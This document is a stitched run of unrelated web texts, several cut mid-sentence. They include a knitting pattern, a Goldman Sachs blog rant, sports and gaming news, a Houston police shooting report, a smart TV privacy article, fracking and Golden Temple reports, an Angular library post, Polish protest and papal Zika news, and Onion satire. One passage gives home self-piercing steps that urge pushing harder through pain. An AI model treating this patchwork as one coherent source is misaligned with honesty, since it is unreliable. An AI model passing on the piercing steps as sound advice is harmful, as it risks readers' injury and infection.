de France not just because he’s cool but because the legs are the hardest part of this pattern - once you get through those the fun starts. This pattern is definitely for the adventurous intermediate knitter - it isn’t too difficult just fiddly in parts. You can customise your cyclist to your favourite racer (we’ve made a few!), favourite team jersey colours or your favourite cycling enthusiast. He has such a nice squishy bum! I knitted him in Dk and he sits about 10 inches (26cm) tall from toe to helmet. Less than 50g of each colour is required for your cyclist. I used 3mm needles to make him quite dense to sit upright and hold his stuffing well.Yesterday morning, Chris Martenson told us that we’re being robbed by Goldman Sachs. Which prompted me to do some of my own research, whereupon I discovered that the real victims of Goldman Sachs all meet the following criteria: Not a current or former Goldman Sachs employee I know: you already knew that Goldman Sachs is the Devil incarnate, because you read The Great American Bubble Machine (loved it!) and then you saw some tin-foil-hat-wearing kook’s videos on YouTube, right? But Martenson’s account is not full of colorful metaphors or wild-eyed conspiracy theories (not that there’s anything wrong with either), instead, he paints the picture by numbers: Trading losses [for Goldman Sachs] occurred on two days during the months of April, May and June [2009]. Goldman Sachs took in a whopping $100M+ in daily revenue on forty-six separate days during 2Q 2009. An entire financial quarter, and a tumultuous one at that, during which GS brought in something like $5 billion and only lost money on two occasions. This is statistically inconceivable, and lest you have any delusions about where that money is coming from, Martenson is quick to remind you: the most probable source of these funds, the ultimate loser, is the taxpayer. Shortly after the meltdown began, GS became a “bank holding company” which normally requires a greater capital reserve (less risk) and quickly received $63.6 billion worth of federal subsidies. The decision to become a holding company is particularly noteworthy because the Bloomberg article that Martenson cites justifies Goldman’s profits on account of their willingness to take risk that others wouldn’t. But their positions as a “bank holding company” should be less risky, what with the higher reserve requirements, right? Wrong. Goldman asked to be exempted from these rules, which the Fed granted without question. So in a time when they should be shoring up their reserves, and playing conservatively, they continue to pile risk on top of risk with our hard-earned money. And unless you know something I don’t, you’re not getting a dividend check in the mail. To be fair, a number of other institutions (e.g., American Express) filed to become “holding companies” in order to reap a slice of the Bailout Pie. For what in God’s creation they are using these funds, is ultimately anybody’s guess. The only certainty is that whatever money they get, regardless of whether or when they pay it back, is corporate fucking welfare, paid for by you and me. Indeed, the taxpayers are big losers in this game, a game that Goldman Sachs has completely rigged. We are underwriting their profits and absorbing their losses. As I’ve said before, “the primary purpose of modern financial markets is to concentrate real economic power for the State and its beneficiaries.” None of the paper wealth which was miscast as “growth” in the past decade ever really existed. Every last bit of it, every hour of labor, every ounce of resources that we foolishly consumed/destroyed while perpetrating the growth charade was economically destructive. The rest of us understand this — and if we don’t, our bank accounts do. What’s good for Goldman Sachs is good for Goldman Sachs, end of story. Everyone else gets boned.OAKLAND, Calif. — Knicks forward Kyle O’Quinn was honored and in awe to be in Latvia and see what Kristaps Porzingis means to the country. O’Quinn attended Porzingis’ camps for kids last week in Liepaja, Porzingis’ hometown. Porzingis had extended the invitation (he and O’Quinn share the same representation), and the Flushing native couldn’t accept fast enough. “It really is amazing,’’ O’Quinn told The Post in a phone interview from Latvia this weekend. “Just when he walks on the court, puts his hand up and greets the kids and thanking them. It goes to show what this city, country, appreciates him, honors him and respects him and his family. This is a special thing. This doesn’t happen in the States. There’s just so many players coming from every state and city. In this city, it’s him. That’s it. It was great to be part of it.’’ Since Porzingis played in Spain for four years before joining the NBA, his visits to Latvia have been brief. Porzingis has more than made up for turning down a chance to play for its Olympic team in July’s qualifier with the free functions he’s participated in the past few weeks in his native country. “This is the first year he’s been able to do so much for the country,’’ O’Quinn said. “The memories he’s created just off this one week is remarkable. It says a lot about him and his family who raised him.” Porzingis, popular with his teammates, also was joined by Kevin Seraphin and Sasha Vujacic, both of whom are free agents and may not be back with the Knicks. “Those guys are from Europe, they were two hours away,’’ O’Quinn said. “For him to extend an invitation to me all the way from America, it was kind of a no-brainer to get on a plane and come.” Because he has been in Latvia, O’Quinn has yet to meet new coach Jeff Hornacek. But he remembers his first encounter with Hornacek, and it made a big impact. O’Quinn had just been drafted by Orlando in the second round (49th overall) in 2012. He was a rookie at the summer league and bumped into Hornacek in an elevator. Hornacek was a Jazz assistant on the verge of joining the Suns as head coach. “He wished me luck on making the team,’’ O’Quinn said. “I’m a late second-round pick and I didn’t have [a contract]. It was just a very good experience to have a conversation with a former player of his caliber. I got a sense of what type of guy he is — just a good guy. I’ve talked to players he’s coached before, the Morris twins. He’s a straight-up dude, offensive-minded. The players only had positive things to say. I only imagine in New York he would follow that up.’’ Signed to a four-year, $16 million deal as a free agent last summer, O’Quinn had a perplexing first season in his hometown. After a solid start, the burly, 6-foot-10, 250-pound power forward lost his spot in the rotation in midseason and was in and out of the lineup, averaging 11.8 minutes in 65 games. Sources indicated defensive lapses were more the cause than his offense, though he was once benched for his quick trigger. “I have no idea,’’ O’Quinn said on what caused his demotion. “If I knew, I wouldn’t have did it.’’ “I look back on it as an opportunity to grow as a pro, another year in the NBA. I look at some parts of the season as very solid and want to build off of. Other parts of the season I look at as maybe I can’t do that because it leads to minutes going down or finding myself outside the rotation. At times, I was in the right spot and a comfortable position, part of the team moving forward, getting 20 minutes a game. Everything was going well.’’ Asked which offense he’d want, O’Quinn
total, that makes six expansions for Fallout 4, four of which have already released. According to Bethesda’s vice president Pete Hines, there will not be a seventh expansion. last one — Pete Hines (@DCDeacon) July 4, 2016 This may come as a surprise to players who purchased the season pass after March 1st, when the price increased from $29.99 to $49.99. Bethesda said that the increase in the price was due to Fallout 4 expansions extending beyond what they had originally planned on releasing. The Vault-Tec Workshop add-on will release sometime this month, Nuka-World will release in August. Share this: Email Twitter Facebook Google Reddit Pinterest Tumblr LinkedIn Comments commentsOn Monday, a grand jury declined to indict the Houston police officer who in September shot and killed Brian Claunch, a mentally ill, wheelchair-bound double amputee, for refusing to drop a pen. HPD Officer Matthew Marin and his partner had responded to a disturbance call at Healing Hands, a small residential group home in central Houston for men with mental illness. Claunch, 45, suffered from schizophrenia and was agitated because he wanted a soda and cigarettes. Police say he yelled threats at the officers and backed Marin’s partner into a corner while waving something shiny, which turned out to be a ballpoint pen. When Claunch wouldn’t drop the shiny object, Marin killed him with one shot. The case sparked international outrage. Why didn’t Marin use a Taser? HPD has a nationally-recognized crisis intervention team for handling suspects with mental illness—why wasn’t it there? How did Marin’s partner get cornered by a man with only one arm to propel his wheelchair? Most important, if Claunch’s death isn’t considered an unjustified use of lethal force by HPD officers, what is? Statistically, nothing. Between 2007 and 2012, HPD officers killed citizens in 109 shootings and injured them in 112. Houston police also killed animals in 225 shootings and injured them in 109. The department’s Internal Affairs Division investigated every one of the 555 shootings and found them all justified. Officers fare almost as well in the criminal justice system. No law enforcement officer in Harris County has been charged in a shooting since 2010, when Sgt. Jeffrey Cotton was acquitted for shooting an unarmed man, Robbie Tolan, in his own front yard. HPD says Internal Affairs is still investigating whether Claunch’s death was justified. That’s odd because IAD investigations are required to wrap within six months and Claunch died almost nine months ago. Investigations that exceed the time limit void their results and can’t be grounds for any discipline, which is how one of the officers fired for beating 15-year-old unarmed burglary suspect Chad Holley got his job back. The U.S. Justice Department is investigating six questionable use-of-force cases by HPD officers, including Claunch’s death, Chad Holley’s beating, and the shooting death of Rufino Lara, an unarmed 54-year-old immigrant whom the officer said was ignoring commands in English and Spanish and made a threatening motion. Witnesses say the officer only gave commands in English and that Lara had his hands up and was complying when he was shot.President Obama Honors African-American LGBT Community President Obama delivered a speech at the grand opening of the National Museum of African American History and Culture Saturday. Obama called the museum necessary because "It reminds us that routine discrimination and Jim Crow aren't ancient history, it's just a blink in the eye of history. It was just yesterday." People "should not be surprised that not all the healing is done," said President Obama. The 400,000 square foot museum includes over 34,000 items within 11 collections that tell the story of African-American history and culture through sports, music and performance, military history, civil rights, and more. President Obama mentioned the importance of unity between cultures during his speech. "And so hopefully this museum can help us talk to each other. And more importantly, listen to each other. And most importantly, see each other. Black and white and Latino and Native American and Asian American — see how our stories are bound together. And bound together with women in America, and workers in America, and entrepreneurs in America, and LGBT Americans," Obama said Saturday. The museum features several LGBT artifacts, including a famous photo of a man holding a sign that reads "I'm a black gay man," from the Million Man March in Washington, D.C., in 1995. The museum will also have a playbill on display from The Colored Museum, a sketch series from Tony award-winning playwright George C. Wolfe, about African-American life from a satirical perspective. One of those sketches features Miss Roz, a black transgender woman. Watch President Obama's full speech below.Samsung's Smart TVs Are Collecting And Storing Your Private Conversations from the I-hear-the-secrets-that-you-keep/when-you-talk-by-the-TV dept To provide you the Voice Recognition feature, some voice commands may be transmitted (along with information about your device, including device identifiers) to a third-party service that converts speech to text or to the extent necessary to provide the Voice Recognition features to you. In addition, Samsung may collect and your device may capture voice commands and associated texts so that we can provide you with Voice Recognition features and evaluate and improve the features. Please be aware that if your spoken words include personal or other sensitive information, that information will be among the data captured and transmitted to a third party through your use of Voice Recognition. Left: Samsung SmartTV privacy policy, warning users not to discuss personal info in front of their TV Right: 1984 pic.twitter.com/osywjYKV3W — Parker Higgins (@xor) February 8, 2015 Please be aware that if your spoken words include personal or other sensitive information, that information will be among the data captured and transmitted to a third party through your use of Voice Recognition. The telescreen received and transmitted simultaneously. Any sound that Winston made, above the level of a very low whisper, would be picked up by it, moreover, so long as he remained within the field of vision which the metal plaque commanded, he could be seen as well as heard. There was of course no way of knowing whether you were being watched at any given moment… You had to live--did live, from habit that became instinct--in the assumption that every sound you made was overheard, and, except in darkness, every movement scrutinized. I agree that LG Electronics Inc. ("LGE") may process Voice Information in the manner set out in the Privacy Policy and below. Voice Information refers to the recording of voice commands and associated data, such as information about the input device that is used to record commands (e.g., Magic Remote or built-in microphone), OS information, TV model information, content provider, channel information and service results. I understand and agree that Voice Information may be use for the purpose of powering the voice activation feature when used to control, receive, and improve LG Smart TV Services and as described in the Privacy Policy. I further understand and agree that LGE may share Voice Information with third parties, including providers of voice analytics. I understand and agree that Voice Information may be transferred to, and used by, third party service providers on LGE's behalf in various countries around the world (including Korea), some of which may not offer the same level of data protection, for the purposes set out in the Privacy Policy. Guess who's eavesdropping on you now? It's not some nefarious government agency (although, rest assured, there has been no downturn in surveillance). Nope, it's that smart TV you paid good money for and invited into your home.The "now" is misleading. Smart TVs have been doing this ever since manufacturers decided customers preferred to order their electronics around orally, rather than using the remote they can never find. And that's just the "eavesdropping" part. Most smart TVs are harvesting plenty of data on top of that, including viewing habits, search terms, browsing history… pretty much anything that makes a TV "smart" is collected and transmitted not just to the manufacturer, but to plenty of unknown third parties. Usually, this information is used to send "relevant ads" to TV owners, as if the several hundred dollars spent on the device wasn't enough of a revenue stream.Samsung -- which is currently catching a lot of internet heat for its so-called "Privacy Policy" -- is no exception. It's the wording used that's making it the target du jour, turning other recent privacy policy villains ( LG : "agree to share damn near everything or enjoy your super-expensive'stupid' TV" ; Microsoft: "why don't we just treat your living room like a movie theater and use our camera technology to count heads and charge increased VOD 'admission'") into distant memories.Under "Voice recognition," Samsung's privacy policy says this Obviously, some very temporary "collection" and "transmission" needs to take place to allow a third party service to "recognize" the user's voice and ensure the smart TV does what it's told. But Samsungcollects and captures these communications... and it doesn't really say how, where or for how long these are stored.The EFF's Parker Higgins noted that Samsung's voice recognition policy sounds eerily like the description of "telescreens" from George Orwell's really-not-supposed-to-be-a-blueprint-for-the-futureCompare Samsung's wording...with Orwell's:Fun stuff. The only thing missing from the scenario is a government intermediary. But it's not much a stretch to insert one.It could certainly be construed that any personal communications collected and stored by Samsung would fall under the Third Party Doctrine. If a government agency (local law enforcement, FBI, etc.) wishes to acquire these, they wouldn't face much of a challenge because of the lowered expectation of privacy. If Suspect X is viewed carrying a Samsung smart TV into his home, law enforcement could issue a subpoena to Samsung to acquire any voice recordings it had collected from that device. Eavesdropping by proxy. Discuss a drug deal in front of the TV? Here come the cops. No warrants or wiretaps needed.This hypothetical would require law enforcement to know the device's ID number, something that would be hard to obtain without an actual search warrant. In the most likely scenario, the voice recognition data would be collecteda regular search had been completed. Now, previous conversations people thought no one heard could be introduced as evidence against them, thanks to the widescreen narc installed on the premises.Here's a hypothetical that's even more "fun" to consider: a law enforcement agency is aware certain smart TVs collect and store voice recordings (along with viewing habits, internet browsing history, search terms, etc.) So, officers kick off a gun amnesty program where unregistered weapons can be turned in for free big screen TVs. Now, this law enforcement agency has a small army of hi-def confidential informants installed in numerous homes. All data can be collected at the agency's convenience, using little more than the "unregistered guns must belong solely to criminals" rationale.But Samsung isn't the only device manufacturer collecting, storing and transmitting its customers' everyday conversations. Others do it, too. Some just hide it better. In LG's 50+ pages of smart TV fine print, it says the following about voice recognition:And there's your Third Party Doctrine. All anyone arguing for the right to subpoena voice information has to do is point to the User Agreement as clear evidence that the person in question isturning over voice recordings to a third party. And away goes the expectation of privacy.We don't expect our devices to send overheard conversations to anyone other than the voice recognition technology provider. But they do. And they send it (and store it) without providing any specifics about the unnamed third parties, where they're located, how secure these transmissions are (to protect them from criminals -- the other unwanted "third parties") or how long the manufacturer itself retains this data.The transparency level of these manufacturers rivals that of the government. And that's not a good thing, because it makes it far too easy for them to become willing partners with agencies that thrive on the abuse of the Third Party Doctrine. Samsung -- and manufacturers like it -- need to provide more than vague assurances. They need to explicitly explain what's happening to all the data they're collecting, especially when the collection involves entertainment devices listening in on private conversations... and calling it a "feature." Filed Under: 1984, 3rd party doctrine, conversations, privacy, smart tvs, surveillance Companies: lg, samsungMatthew McFeeley, Attorney, Washington, D.C. Fracking’s water footprint is higher than previously thought, according to a new report that combined data from many sources to provide one of the most comprehensive looks at how water is used by the oil and gas industry. The researchers from Downstream Strategies and San Jose State University tracked water use, reuse, and disposal in the Marcellus Shale in Pennsylvania and West Virginia. Among the most concerning findings of the report are: 1. More than 90% of the water used in the Marcellus is permanently lost from the water cycle. Remember the water cycle? You probably learned about it in middle school and remember that, generally, when we “use” water – whether for drinking, showering, irrigating farmland, or in a steam-driven power plant – it still remains part of the cycle. Image courtesy of the US Geological Service But, Fracking is different. A significant proportion of the water used to make fracking fluid remains deep underground, never emerging from the well. And much of the used fracking fluid that does come out of the well (aka wastewater or flowback) is re-injected underground into waste disposal wells, designed to sequester the wastewater forever. All in all, the report showed that 92% of all water used in West Virginia was lost, while 94% was lost in Pennsylvania. 2. The water used to produce each cubic foot of gas is up to 3 times higher than previous estimates. The analysis shows that in West Virginia 1.6 to 2.2 gallons are permanently lost for each thousand cubic feet (MCF) of gas produced, while in Pennsylvania that figure is 3.2 to 4.2 gallons per MCF. To put those numbers in context: If all the natural gas used in the U.S. in 2012 was produced with the average water intensity found in West Virginia, 48 billion gallons would have been lost forever in one year. If the gas was produced with the average water intensity in Pennsylvania, the one-year loss to the water cycle would have been 94 billion gallons. 3. While wastewater recycling has been steadily rising in Pennsylvania, it’s declined in West Virginia. One of the most obvious things that the oil and gas industry can do to reduce fracking’s water footprint is to recycle “flowback” and produced water that emerges from the wellbore rather than using new freshwater supplies for the next frack job.* But the practice of recycling is actually declining in some places. States should do more to track the rate of recycling, encourage its use, and to ensure that the residual waste is properly handled and disposed. The researchers also note that Pennsylvania and West Virginia, the only two states studied, have relatively abundant water supplies. But more arid regions, where a lot of oil and gas production is occurring, could face much more serious problems from these massive water withdrawals. More research is needed on the actual impacts to water supplies in the many water-stressed areas where fracking is taking place, and the cumulative impacts from drought, climate change, and other industrial demands. However, one thing is clear: more must be done to reduce fracking’s water use and to ensure these massive water withdrawals do not jeopardize our water supplies. __________________________________ * To minimize the impacts to the environment from wastewater treatment and recycling, NRDC is fighting for the residual waste to be safely regulated under hazardous waste laws, which is currently not the case.The shadows are lengthening across the Golden Temple, the last rays of the sun striking off its gilded exterior. Pilgrims walk slowly around the four sides of the sacred pool. The religious chanting of the Sikh clerics within, broadcast across the entire complex, keeps out the traffic's growl on an early autumn evening in the crowded city of Amritsar. But from a small construction site in one corner of the temple complex comes the sound of drilling. Here workmen brought from distant Rajasthan are preparing spectacular marble panels inlaid with semi-precious stone for a new place of worship, or gurdwara. This is no ordinary shrine. It is a memorial dedicated to those who died in perhaps the most controversial single event in recent Sikh history, the storming of the Golden Temple by Indian security forces in 1984 after it was occupied by Sikh militants under the command of a seminary student turned extremist, Jarnail Singh Bhindranwale. Many hundreds, possibly thousands, were killed in the assault, including Bhindranwale as well as Sikh and Hindu pilgrims caught in the crossfire, and the complex was badly damaged. The assault led to the assassination of Indira Gandhi, the then prime minister, by her Sikh bodyguards, which provoked the massacre of about 3,000 Sikhs by mobs in Delhi alone. The Punjab, the north-western state that is the historic homeland of the Sikhs, was plunged into a violent insurgency that lasted almost a decade. For most of the population that's all history. But for others, events that stunned the subcontinent 30 years ago continue to rouse passions. At the weekend 78-year-old Lieutenant General Kuldeep Singh Brar was targeted in an apparent murder attempt during a visit to London. In 1984 Brar led the bloody assault on the temple; he remains a hate figure for some Sikhs. In the Punjab, meanwhile, a fierce row has erupted over the new gurdwara. It is being built by volunteers led by Baba Harnam Singh, the head of the seminary Bhindranwale once led. The dispute is reopening wounds that have barely healed, revealing tensions between Sikh communities overseas and in India, and showing how events such as the killing of six Sikhs by a lone, racist gunman in Wisconsin in August can have a political, social and cultural impact thousands of miles away. One key question is whom the memorial is meant to honour. "The memorial is for all those killed, except [those] from the Indian state, of course. It is for the defenders, not the invaders," Harnam Singh told the Guardian, sitting in an alcove near the shrine, surrounded by seminary students in white robes and orange or blue turbans. "It is for our martyrs." For Bittu Kanwarpal, secretary general of the once-proscribed Dal Khalsa organisation and a former militant, the key aim is to teach "the next generation [about] the handful of people who sacrificed their lives and fought the might of the Indian state". Support for some kind of memorial appears almost universal in Amritsar, but the involvement of the hardline groups and the leading role of Bhindranwale's own institution has worried many moderate Sikhs. Few in the Punjab now talk of the violence of previous decades, which often pitted brother against brother and involved widespread human rights abuses by all protagonists. It is not taught in schools or even in universities, other than as an optional element of postgraduate courses on terrorism. "We will talk about it if someone wants to. But what is the point of raking over these bad memories? There are other issues such as deep and widespread poverty," said JS Sekhon, at Amritsar's Guru Nanak Dev University. Journalists in Amritsar say their yearly stories on the anniversary of the 1984 assault are met with dismay. "People ask why we are going back to this," one said. The result is widespread ignorance. Yards from the Golden Temple, 19-year-old Damandeep Singh, who runs a dried fruit shop, said he knew of "some kind of fight in the temple and then some bad times, but I don't know the details". The vacuum is increasingly filled by the hardliners and voices from the diaspora. The two often coincide. Substantial funds have been donated to the new shrine from Sikhs overseas. Analysts say permission for the memorial, mooted since 2005, was granted after the local ruling party was surprised by widespread protests over the hanging of a jailed Sikh militant this year. "We were worried that we were being outflanked by the hardliners. We need to keep the core Sikh vote," said one adviser to the party. The protests were in part a result of a revival in Sikh identity, the adviser said, influenced by diaspora Sikhs. Many Sikhs in the west feel humiliated by demands to remove traditional knives at airports or take off their turbans for official photographers, for example, and have been shocked by incidents in which Sikhs have been attacked, often mistaken for Muslims, in the last decade. "The Wisconsin shooting was just one of many such incidents," said Kiranjot Kaur, an elected member of the Shiromani gurdwara parbandhak committee, which acts as a parliament for Sikhs and administers religious sites. "They have a big impact here [in India]. They give rise to a sense of insecurity within the community here like over there." One response is to stage events such as Mr Singh, organised by the Amritsar-based Turban Pride Movement, which aims to encourage more Sikhs to wear traditional clothing and to increase awareness of the religion among other communities. Contestants are judged on their knowledge of their faith as well as traditional Sikh martial arts, dance and music. Then there is a new cult status among teenagers of Bhindranwale himself. Some talk even of a Sikh Che Guevara. "He fought oppression. He helped everybody, Hindu, Sikh or Muslim," said Solvinda Singh, a 19-year-old student. But such feelings, along with the new memorial, risk raising dormant tensions. "He was a terrorist. Why commemorate a terrorist?" said a police officer whose father was killed by Sikh militants in 1991. "Any memorial should be for all victims of the conflict. I go to the temple daily to bow before the almighty. I do not even look at [the new shrine]." Two-thirds of the Punjab's 24.5 million inhabitants are Sikh, and nine million are Hindu. Many Hindus support a memorial, but not all. Laxmi Kanta Chawla, a politician with the Hindu nationalist Bharatiya Janata party, said buried memories should not be disturbed. "These terrorists created violence and havoc. Tens of thousands died because of them, including many Hindus," she said. The battle is unlikely to be resolved soon. A key grievance of the Sikh community in India is what they say is the failure of the government to punish those responsible for the attack on the Golden Temple, the mob violence or abuses by security forces during the insurgency. HS Phoolka, a supreme court lawyer who has fought a long campaign to bring those accused of killing Sikhs in the 1984 massacres to justice, said the failure to "apply the law of the land equally" still fuelled resentment. "The current generation need to know what happened. If proper legal process was followed, the attitude of people in the Punjab and outside would be completely different," he said. No one seriously suggests a return to the horrific violence of the 1980s and early 90s. Even hardliners admit that the creation of an independent Sikh state, Khalistan, is now a rallying cry rather than a genuine demand. But no one doubts the passions excited by recent history. "If people stand silent, it does not mean they have forgotten," said Kaur, a moderate politician. "One needs to resolve these issues. One needs to bring them to closure. In the Punjab that is sadly lacking."1 Get out your needle. Once you've got your clamp latched on, it's time to unpackage your needle. You bought a sterile piercing needle that matches the size of your jewelry right? If not, stop now. Go get the right size. MAKE SURE YOU BUY IT STERILE. If the packaging is damaged, get a new one. This is NOT the place to be lazy. 2 Apply ointment. Once you've got your needle out, rub on just a little bit of the A&D ointment. This will make the next step easier. 3 Line up the needle. Okay! Now double check to see that both marks are still lined up in the clamp. If they are, then hold the clamp in one hand so that you can clearly see your mark. Now with the other hand, take the needle over and line it up on your mark. You can hold the sides of the needle between your thumb and middle finger and use your index finger on the back of the needle to push through, but hold it whichever way is steadiest and most comfortable for you. 4 Pierce the skin. Now, take a couple of deep breaths, check to make sure you're lined up correctly and quickly push the needle through the skin till you see it poking through the other side at least a centimeter or two. Make sure you don't push the entire needle out the other side because we will use the needle to guide the jewelry in. Pushing the needle through your skin will hurt! Very beefy dudes cry like babies during this type of piercing. You just have to push all the way through. It's very hard to keep going once you feel that initial pain, but it doesn't get any worse than that first little bit of pain, so you might as well just keep going so that it's all the way through, rather than going to all this trouble and not even having a piercing to show for it. If it hurts, just push through a little harder. It will stop hurting very quickly once you get through to the other side. Now, take a couple of deep breaths, check to make sure you're lined up correctly and quickly push the needle through the skin till you see it poking through the other side at least a centimeter or two. Make sure you don't push the entire needle out the other side because we will use the needle to guide the jewelry in. 5 Insert the piercing. Great! Now that you've got the needle through, the hard part is over! Now you just have to put the jewelry in. You still have the needle sticking out both sides of the hole, right? I bet it looks pretty cool, but now it's time to put in your jewelry. So, unscrew or remove a ball from one side of your jewelry. Don't lose it! Now take the threaded, ball-less side of your jewelry and line it up inside the back of the hollow needle. It should fit in there just fine. Now you can use the jewelry to push the needle the rest of the way out and the jewelry will follow right into the hole. 6 Secure your jewelry. If you did everything correctly, you should see the threaded end of your jewelry poking out the exit hole of your new piercing. Now just screw that ball on and you're good!! Take the time to clean the area with another alcohol wipe.In this post I will tell you about right-angled, an open source library for building grids (aka lists, aka data tables) for Angular apps. At the moment right-angled is stable and works well with Angular 4.x+ both in JIT and AOT modes. right-angled is distributed under the MIT license. The source code is available on github. There is a demo application with the detailed description of the library features, live demos and code samples. If one day you want to see the source code of this demo application, you can also find it on github. What right-angled can do As I mentioned before, this library is designed for constructing grids in angular applications. Also it is an advanced model of selection which works separately from grids. It is just selection of whatever. One more idea is the declarative configuration of components properties which gives you the following features without manual coding: • persisting and restoring component state (paging, sorting, any other properties you need), • resetting values of configured properties to their defaults, • sending values of configured properties as parameters in the server request Why develop “another one grid library”? When we were choosing among the existing angular grid libraries, we realized that they were too “heavy” and complicated. The template of the simplest grid from the typical angular grid library looks like this: This template has too little HTML and too much of “grid library”. Lots of components, lots of settings, and too many things you have to remember about. This seemed quite excessive for the modern development approach. Also, the consequence of the first drawback is the second one — markup generated by such components. Grid is quite a complicated control. And HTML generated by such components doesn’t always look good when integrated into the application with its own styles and layout. The opposite side is the universal markup which considers all possible variants. But such markup is not always rendered quickly and it is hard to style. You can spend hours on styling the third-party grid, but it still will not look native in your UI. Actually, simple styling is the most important thing, because customers are not happy with stamped faceless sites today. So, each new project means new unique UI design. After thinking through all of it, we decided to create library with the following fundamentals: Minimum of components The library should contain minimum of components and integrate into an application markup rather than generate its own markup. The same idea concerns the styles — right-angled doesn’t have any css. The app styles is 100% up to you. Below you can see the template of simple list implemented with right-angled library. As you noticed it is an ordinary markup with the use of bootstrap (the use of bootstrap is not necessary, it is used for illustration) and a bit of custom directives. Such template looks very simple, because it doesn’t have such notions as “row”, “column”, “view template”, “edit template” and others so common for grid libraries. Such abstractions are often added to grid libraries. However, we think they are not really necessary and just bring more complication in. And of course you can change such markup anytime you need. Simple but functional In order not to turn “minimum of components” into “minimum functionality”, right-angled is equipped with the set of functional services. They serve as the foundation for the library components. It is possible to get the access to these services right in the template by using host-directives. There are four such directives — rtList with list functionality, rtSelectionArea with selection functionality, and rt-buffered-pager and rt-pager-pager components to work with paging. Also you can inject these services into your components to implement the behavior you need. In this way, instead of a complex pager component with dozens of configuration options, right-angled provides a couple of simple components and directives mentioned above to build exactly the pager you need. And there is a detailed example to help you implement your own fully functional pager component. Below you can see the list template from the final example in quick tour of demo application. It has: paging sorting filters selection buttons for data loading, request cancellation, resetting filters values serialization of list state in query string (so that you can share a link to another user, and the page will be displayed with exact same state of the grid component). The template is quite large, but at the same time it has a lot of functionality. And this is still regular HTML which is easy to style and can be separated into small reusable components (it is not done in demo application so that the example remains simple). Minimum of dependencies right-angled doesn’t depend on such libraries as bootstrap, jquery and so on. These libraries are useful, but it’s up to you to decide whether to use them or not. As for grid implementation, they are not necessary. The only dependency, beside angular, is e2e4 library, also created by us. This library supplies services abstracted from the presentation frameworks and implements the whole functionality of grids, selection and state management. Conclusion This blog post was a brief introduction to right-angled library. There’re plenty of additional options which you can examine in demo application. Also you can follow the project on github or follow right-angled account on twitter. If you enjoyed this article, please tap the ❤ so other people will see this on Medium.WARSAW (Reuters) - Thousands of Poles marched through Warsaw on Saturday to protests against their new conservative government’s plan to increase its surveillance powers, with some saying they feared Poland was following Hungary towards an “illiberal democracy.” People demonstrate during an anti-government rally in front of the Prime Minister Chancellery in Warsaw, Poland, January 23, 2016. The banner reads, "Make PiS not war". REUTERS/Krzysztof Miller/Agencja Gazeta Since Poland’s Law and Justice (PiS) party took power in November, its moves to take more control of the judiciary and the media have divided Poland and raised alarm bells in the Europe Union, which has started investigating charges that Warsaw is undermining democratic principles. Waving Polish and European Union flags, the protesters demanded that the Law and Justice party withdraw its planned changes to the surveillance law. “You’re supposed to listen, not listen in,” read one of the banners. The proposed changes would expand the government’s access to digital data and loosen the legal framework of using surveillance in law enforcement. The ruling party, which scored a landmark election victory in October, says it has to swiftly amend the bill in order to implement a constitutional court ruling. “Our privacy, intimacy is under threat, we can be followed, watched over both in our homes, and online,” Mateusz Kijowski, one of the organizers, told the protesters, who were peaceful. There were no figures available on the size of the crowd. ‘ORBANISATION’ Critics say Poland’s new government is emulating Hungary’s Prime Minister Viktor Orban in trying to impose its political agenda by undermining democratic checks and balances and limiting democratic freedoms. Orban has locked horns with Hungary’s European partners for years, most recently over his hard line on the refugee crisis, one that PiS’ leader Jaroslaw Kaczynski has also embraced, at one point warning refugees could bring “parasites” into Europe. Orban has also packed Hungary’s constitutional court with candidates backed by his party Fidesz since 2010. Kaczynski’s overhaul of Poland’s top court provoked mass protests and a strong backlash from the opposition. It also attracted condemnation from the European Union. Earlier this week, Polish Prime Minister Beata Szydlo told EU lawmakers that her government had not breached European or Polish laws with its changes to the constitutional court and by putting public media under its direct control. The probe could eventually lead to the suspension of Poland’s voting rights in the 28-nation bloc if the Commission decides that Warsaw has not observed the rule of law. Saturday’s demonstration in Warsaw was attended by opposition activists from Hungary, including Balazs Gulyas, who in 2014 organized a large-scale protest against Orban’s plans to tax internet traffic, a proposal which was later scrapped. “Jaroslaw Kaczynski wants to follow Viktor Orban,” Gulyas said, addressing the protesters in Warsaw in English. “So we Hungarians should warn you: whatever Kaczynski promises, this road is going towards autocracy, economic backwardness, a shrinking middle class and increasing poverty.”Pope Francis said it may be acceptable for people to use contraception in countries affected by the Zika virus, in order to prevent children from being born with birth defects, The Wall Street Journal reports. The Catholic Church generally does not condone the use of contraception in most circumstances — even to prevent the spread of sexually transmitted diseases like HIV — and Pope Francis has avoided making clear statements on the use of condoms before. However, the Church's special approval of contraception could help make it easier to obtain condoms and birth control. The Catholic Church does not condone the use of contraception in most circumstances The Pope made the statement to reporters on an overnight flight to Rome on Wednesday night. "Avoiding pregnancy isn't an absolute evil," the pope said, when it comes to stopping potential birth defects. The comments were meant to address the ongoing outbreak of the mosquito-borne Zika virus in Brazil and nearby countries. Right now, as many as 1.5 million people in Brazil have been infected with the virus since March of 2014. Those who get Zika usually don't suffer any damaging symptoms, but the virus is potentially concerning for pregnant women. The outbreak has coincided with a recent spike in cases of microcephaly — in which infants are born with abnormally small heads. Scientists have yet to confirm if Zika is causing these birth defects, but there is strong evidence to support the theory that the conditions are linked. Because of this, the Brazilian government and local religious figures have advised women to avoid getting pregnant until the Zika outbreak is under control. But it's very difficult for people in South America's poorest areas to get access to contraceptives; abortion is also strictly illegal in Brazil and the neighboring nations of Colombia, Venezuela, and Peru. Instead, government officials have instructed women to avoid having sex for years as a means of birth control, an option that many say is unrealistic. But the pope, who is also Latin American, could help change things. Brazil and its surrounding nations are heavily influenced by the Catholic Church. The Vatican's approval of contraception under these special circumstances could make it easier for women to gain access to contraceptive products through new laws or policies. However, it's unlikely that the Church's position on abortion will change. The pope made it clear that abortion is an "absolute evil" and never acceptable under any circumstances.CHICAGO—Despite a lack of divine intervention by the Son of God or any other higher power, area man Tom Wendt has somehow managed to overcome his alcoholism, sources confirmed Friday. "It was causing so many problems at work and with my family that I decided to stop drinking before it ruined my life," said Wendt, who credited his own willpower, a desire to better himself as a human being, and not Jesus Christ for the otherwise inexplicable recovery. "It hasn't been easy, but I took a hard look at myself and made some important lifestyle changes. I'm sober almost three months now, and I never could have done it without [wife and non-supernatural-entity] Susan." Reached for comment, Wendt's aunt Clara, who spent years praying for her nephew, remained steadfast in her insistence that Jesus most likely had something to do with it. AdvertisementNot a lacing method as much as a technique for creating a super-tight finish. It's often recommended to help reduce heel slippage in running or climbing shoes. Also referred to as "Lace Lock", "Loop Lacing Lock", "Heel Lock" or "Runner's Tie". When 